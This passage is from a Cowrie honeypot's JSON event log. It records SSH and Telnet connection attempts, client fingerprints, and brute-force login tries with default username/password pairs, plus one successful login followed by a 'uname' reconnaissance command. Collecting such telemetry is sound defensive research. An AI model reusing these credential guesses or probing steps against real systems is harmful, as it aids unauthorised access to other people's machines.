0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:42.231255Z","src_ip":"83.168.110.85","session":"965c6415d4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:42.595947Z","src_ip":"83.168.110.85","session":"965c6415d4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2103bbae26e","protocol":"ssh","message":"New connection: 103.149.28.157:46036 (159.203.135.109:22) [session: d2103bbae26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:43.711869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:43.717245Z","src_ip":"103.149.28.157","session":"d2103bbae26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:43.911347Z","src_ip":"83.168.110.85","session":"965c6415d4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:43.963162Z","src_ip":"103.149.28.157","session":"d2103bbae26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"272727","message":"login attempt [root/272727] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:44.720782Z","src_ip":"103.149.28.157","session":"d2103bbae26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:45.969606Z","src_ip":"103.149.28.157","session":"d2103bbae26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36718,"dst_ip":"10.17.0.5","dst_port":22,"session":"20fcf6e16cc9","protocol":"ssh","message":"New connection: 83.168.110.85:36718 (10.17.0.5:22) [session: 20fcf6e16cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:49.280085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:49.284842Z","src_ip":"83.168.110.85","session":"20fcf6e16cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:49.406263Z","src_ip":"83.168.110.85","session":"20fcf6e16cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:49.770157Z","src_ip":"83.168.110.85","session":"20fcf6e16cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:50.912115Z","src_ip":"83.168.110.85","session":"20fcf6e16cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1cc2def37b","protocol":"ssh","message":"New connection: 103.122.221.179:46642 (159.203.135.109:22) [session: fb1cc2def37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:55.868137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:55.874152Z","src_ip":"103.122.221.179","session":"fb1cc2def37b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59568,"dst_ip":"10.17.0.5","dst_port":22,"session":"78fd7460334b","protocol":"ssh","message":"New connection: 83.168.110.85:59568 (10.17.0.5:22) [session: 78fd7460334b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.116061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.121016Z","src_ip":"83.168.110.85","session":"78fd7460334b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.132947Z","src_ip":"103.122.221.179","session":"fb1cc2def37b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.242087Z","src_ip":"83.168.110.85","session":"78fd7460334b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35670,"dst_ip":"10.17.0.5","dst_port":23,"session":"2181ca629baf","protocol":"telnet","message":"New connection: 152.42.224.71:35670 (10.17.0.5:23) [session: 2181ca629baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.496018Z"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.806270Z","src_ip":"83.168.110.85","session":"78fd7460334b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12301230","message":"login attempt [root/12301230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:56.895718Z","src_ip":"103.122.221.179","session":"fb1cc2def37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:57.938486Z","src_ip":"83.168.110.85","session":"78fd7460334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:58.152186Z","src_ip":"103.122.221.179","session":"fb1cc2def37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.51152276992798,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:59.162679Z","src_ip":"152.42.224.71","session":"75f8be6ed950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59580,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a61ac8850d9","protocol":"ssh","message":"New connection: 83.168.110.85:59580 (10.17.0.5:22) [session: 6a61ac8850d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:03.467152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:03.476943Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:03.599245Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:03.965760Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":37302,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1a5766a7423","protocol":"ssh","message":"New connection: 43.153.65.139:37302 (10.17.0.5:22) [session: f1a5766a7423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.196524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.201328Z","src_ip":"43.153.65.139","session":"f1a5766a7423","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.252551Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.255836Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.269183Z","src_ip":"43.153.65.139","session":"f1a5766a7423","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.380811Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.386140Z","src_ip":"83.168.110.85","session":"6a61ac8850d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:04.586787Z","src_ip":"43.153.65.139","session":"f1a5766a7423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:05.658992Z","src_ip":"43.153.65.139","session":"f1a5766a7423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52108,"dst_ip":"10.17.0.5","dst_port":22,"session":"af34c3073560","protocol":"ssh","message":"New connection: 83.168.110.85:52108 (10.17.0.5:22) [session: af34c3073560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:10.607454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:10.613150Z","src_ip":"83.168.110.85","session":"af34c3073560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:10.734891Z","src_ip":"83.168.110.85","session":"af34c3073560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.287174Z","src_ip":"83.168.110.85","session":"af34c3073560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":56444,"dst_ip":"10.17.0.5","dst_port":22,"session":"26506843a3ab","protocol":"ssh","message":"New connection: 68.235.52.99:56444 (10.17.0.5:22) [session: 26506843a3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.626295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.765173Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arc